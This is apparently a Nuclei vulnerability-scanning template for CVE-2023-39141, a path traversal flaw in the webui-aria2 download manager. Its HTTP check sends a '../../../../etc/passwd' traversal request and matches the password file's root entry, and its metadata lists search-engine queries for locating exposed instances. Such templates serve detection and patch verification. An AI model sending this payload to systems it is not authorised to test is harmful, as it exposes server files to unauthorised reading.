id: CVE-2023-39141

info:
  name: Aria2 WebUI - Path traversal
  author: DhiyaneshDk
  severity: high
  description: |
    webui-aria2 commit 4fe2e was discovered to contain a path traversal vulnerability.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: |
    Upgrade to the latest version of Aria2 WebUI to fix the path traversal vulnerability.
  reference:
    - https://twitter.com/win3zz/status/1694239332465520684
    - https://gist.github.com/JafarAkhondali/528fe6c548b78f454911fb866b23f66e
    - https://github.com/ziahamza/webui-aria2/blob/109903f0e2774cf948698cd95a01f77f33d7dd2c/node-server.js#L10
    - https://github.com/codeb0ss/CVE-2023-39141-PoC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-39141
    cwe-id: CWE-22
    epss-score: 0.03051
    epss-percentile: 0.85852
    cpe: cpe:2.3:a:ziahamza:webui-aria2:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ziahamza
    product: webui-aria2
    shodan-query:
      - title:"Aria2 WebUI"
      - http.title:"aria2 webui"
    fofa-query: title="aria2 webui"
    google-query: intitle:"aria2 webui"
  tags: cve2023,cve,lfi,unauth,aria2,webui,ziahamza,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/../../../../etc/passwd"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "Aria2 WebUI")'
          - 'regex("root:x:0:0:",body_2)'
        condition: and
# digest: 4a0a00473045022100e4bec869573576a52277a5a36fdc7a27ac3fb11d6659c2bb5daf2dbe12598eca022002c4639514989366bfd2a81947cd988246da167a8dddbee41589810328036bbb:922c64590222798bb761d5b6d8e72950